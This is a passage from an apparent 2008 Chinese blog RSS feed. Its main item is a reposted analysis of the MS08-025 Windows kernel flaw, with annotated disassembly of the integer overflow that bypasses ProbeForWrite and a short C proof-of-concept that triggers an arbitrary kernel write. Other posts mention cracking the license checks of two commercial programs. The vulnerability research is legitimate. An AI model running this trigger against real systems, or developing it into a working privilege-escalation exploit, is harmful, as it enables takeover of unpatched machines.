SPI防火墙、开启NAT功能以提高网络安全性以及网络唤醒WOL功能等，不过这些功能实现和设置起来比较复杂，我们会在今后的文章中为大家介绍，本文只
是对一些基本特色功能进行了介绍。</p>
<p align="left">　　本文给大家介绍的这些功能已经足以让我们大开眼界，这也就是为什么有那么多无线设备发烧友都纷纷选择DD-WRT设
备的原因。DD-WRT适合那些对硬件和网络要求的读者，相信在今后的使用过程中，会逐渐发现它的功能真的很强大，大家可以自定义设置适合自己的实际网络
情况。</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/228304.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-09-11 11:01 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows 内核漏洞 ms08025 分析(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 14 Apr 2008 05:09:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/192731.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/192731.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/192731.html</trackback:ping><description><![CDATA[Author:&nbsp;&nbsp;Polymorphours<br />
Email:&nbsp;&nbsp; Polymorphours@whitecell.org<br />
Homepage:<a href="http://www.whitecell.org/" target="_blank">http://www.whitecell.org</a> <br />
Date:&nbsp;&nbsp;&nbsp;&nbsp;2008-04-10<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;经内部讨论后决定公布分析成果。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;4月8号microsoft再次发布了一个系统内核的补丁(KB941693),<br />
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密<br />
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的<br />
系统。 攻击者可随后安装程序；查看、更改或删除数据；或者创建<br />
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、<br />
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全<br />
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的<br />
输入的方式来解决此漏洞。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;从这个介绍中我们看到这个漏洞影响非常广，从2000到2008。为了<br />
能一睹这个漏洞的细节，我分析了ms08-025的补丁，发现该漏洞存在于 <br />
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方，其<br />
中出问题的地方非常有趣，是因为溢出寄存器来绕过 ProbeForWrite <br />
函数对用户层传来的指针的检查，下面我们就从 NtUserfnOUTSTRING <br />
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)<br />
<br />
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)<br />
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; NtUserMessageCall(x,x,x,x,x,x,x)+61p<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...<br />
.text:BF86FB04<br />
.text:BF86FB04 var_24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -24h<br />
.text:BF86FB04 var_20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -20h<br />
.text:BF86FB04 UserBuffer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -1Ch<br />
.text:BF86FB04 ms_exc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= CPPEH_RECORD ptr -18h<br />
.text:BF86FB04 arg_0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;8<br />
.text:BF86FB04 arg_4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;0Ch<br />
.text:BF86FB04 arg_8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;10h<br />
.text:BF86FB04 Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;14h<br />
.text:BF86FB04 arg_10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;18h<br />
.text:BF86FB04 arg_14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;1Ch<br />
.text:BF86FB04 arg_18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;20h<br />
.text:BF86FB04<br />
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES<br />
.text:BF86FB04<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;14h<br />
.text:BF86FB06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;offset unk_BF98D250<br />
.text:BF86FB0B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;__SEH_prolog<br />
.text:BF86FB0B<br />
.text:BF86FB10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; edx, edx<br />
.text:BF86FB12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+ms_exc.disabled], edx<br />
.text:BF86FB15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_20]<br />
.text:BF86FB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, 7FFFFFFFh<br />
.text:BF86FB1D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB1F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_18]<br />
.text:BF86FB22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shl&nbsp;&nbsp;&nbsp;&nbsp; esi, 1Fh<br />
.text:BF86FB25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eax, esi<br />
.text:BF86FB27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB2A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_8]&nbsp;&nbsp;-&gt; esi = 缓冲区长度<br />
.text:BF86FB2F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; [ebp+arg_18], edx&nbsp;&nbsp;-&gt; 如果是 ansi 方式就直接进行检查，否则需要计算unicode的大小<br />
.text:BF86FB39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_BF86FB47<br />
.text:BF86FB39<br />
.text:BF86FB3B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi, [eax+eax]&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 注意这里，问题就在这里，此时 eax = unicode字符串的长度，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 被溢出了，esi = 0<br />
.text:BF86FB3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax -&gt; 保存unicode占用的空间大小<br />
.text:BF86FB44<br />
.text:BF86FB47<br />
.text:BF86FB47 loc_BF86FB47:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j<br />
.text:BF86FB47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_24], edx<br />
.text:BF86FB4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+Address]<br />
.text:BF86FB4D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+UserBuffer], esi<br />
.text:BF86FB50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; ebx, ebx<br />
.text:BF86FB52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp;&nbsp;&nbsp; ebx<br />
.text:BF86FB53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Alignment<br />
.text:BF86FB54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Length &lt;- 由于 eax = 0，所以ProbeForWrite被绕过<br />
.text:BF86FB57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Address<br />
.text:BF86FB58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ds:ProbeForWrite(x,x,x)<br />
<br />
<br />
bf80a1b0 e96ef4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1235 (bf809623)<br />
bf80a1b5 d1e8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax,1<br />
bf80a1b7 894510&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+0x10],eax<br />
bf80a1ba ebf1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)<br />
bf80a1bc 8b4514&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[ebp+0x14]<br />
bf80a1bf f6400780&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;byte ptr [eax+0x7],0x80<br />
bf80a1c3 8b4008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[eax+0x8]<br />
bf80a1c6 7408&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)<br />
bf80a1c8 c60000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; byte ptr [eax],0x0<br />
bf80a1cb e951f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d0 668910&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [eax],dx&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0<br />
bf80a1d3 e949f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d8 6a00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x0<br />
bf80a1da 6a02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x2<br />
bf80a1dc ff7638&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;dword ptr [esi+0x38]<br />
bf80a1df e8d1690200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;win32k!BuildHwndList (bf830bb5)<br />
bf80a1e4 8bf8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi,eax<br />
bf80a1e6 85ff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;edi,edi<br />
bf80a1e8 0f8433f4ffff&nbsp;&nbsp;&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1ee 8d7710&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi,[edi+0x10]<br />
<br />
<br />
那么怎么触发这个漏洞呢，我又分析了 user32.dll 和 win32k!NtUserMessageCall，<br />
发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，<br />
下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可<br />
用的exploit，可以参考我以前的exploit)<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
<br />
int main(int argc,char *argv[])<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;dwHookAddress = 0x80000000;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}
<img src ="http://www.blogjava.net/galaxyp/aggbug/192731.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-04-14 13:09 <a href="http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CLC Combined Workbench 3.0.3 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 28 Jan 2008 05:18:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/178166.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback</comments><slash:comments>38</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/178166.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/178166.html</trackback:ping><description><![CDATA[以前研究过2.0.2，这两天破解了一下3.0.3，目的是研究软件保护上的一些思想。<br />
实际上这两个版本在这方面没有多少变化。请不要留言索要该软件的破解，<br />
研究这个只是个人爱好，不发布破解版。<br />
详图：<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.1.JPG" border="0" /><br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.2.JPG" border="0" />
<img src ="http://www.blogjava.net/galaxyp/aggbug/178166.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-01-28 13:18 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Zelix KlassMaster 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 10 Jan 2008 05:35:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: rgb(255, 0, 0);">该软件的破解因机器故障已丢失，请勿再留言索取</span><span style="color: rgb(255, 0, 0);">！</span><br />
</p>
